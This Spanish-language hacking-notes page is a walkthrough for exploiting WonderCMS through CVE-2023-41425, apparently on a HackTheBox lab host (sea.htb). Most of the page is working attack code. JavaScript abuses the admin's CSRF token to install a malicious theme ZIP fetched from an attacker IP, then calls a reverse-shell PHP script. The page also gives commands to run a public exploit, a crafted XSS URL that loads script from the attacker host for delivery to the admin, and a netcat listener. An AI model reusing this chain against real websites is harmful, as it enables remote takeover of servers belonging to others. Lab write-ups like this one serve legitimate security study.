> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/wonder-cms-exploitation.md).

# Wonder

## Maravilla de la vulnerabilidad /\[CVE-2023-41425]

Buscar vulnerabilidades de CMS revela un problema de XSS a RCE.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**Código JavaScript para obtener una shell:**/ El siguiente JavaScript descarga un archivo ZIP malicioso que contiene un script de shell inversa y lo ejecuta en el servidor:

```javascript
// el servidor tiene algún problema resolviendo nombres de dominio con JavaScript
// podemos simplemente proporcionar la URL objetivo como parámetro requerido
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// modificar la ruta del archivo ZIP servido en el servidor HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visita rev.php dentro del archivo ZIP subido
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // activar el script de reverse shell y proporcionar la IP y el puerto del listener
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Instalación del script de explotación para CVE-2023-41425:**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

Ejecuta el script de explotación:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

El script envía una solicitud al servidor del atacante en el puerto 8000 a través de `xss.js`, proporcionando RCE y control del objetivo.

<figure><img src="/files/087af35a87889928388a3c65cd87cde7b28830c1" alt=""><figcaption></figcaption></figure>

**Paso final:**

Envía el enlace XSS al administrador a través de la `contact.php` formulario para activar el enlace malicioso:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="/files/cd7bfa77c17ebf5a745f26ae415b20f4edd71897" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/762b6b02a999aa44d8d3ab21a96a5cda28b560f2" alt=""><figcaption></figcaption></figure>

**Configure un listener de Netcat:**/ Inicia un oyente en el puerto 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/50415175215f038e349831621dc6cb36b0b69720" alt=""><figcaption></figcaption></figure>


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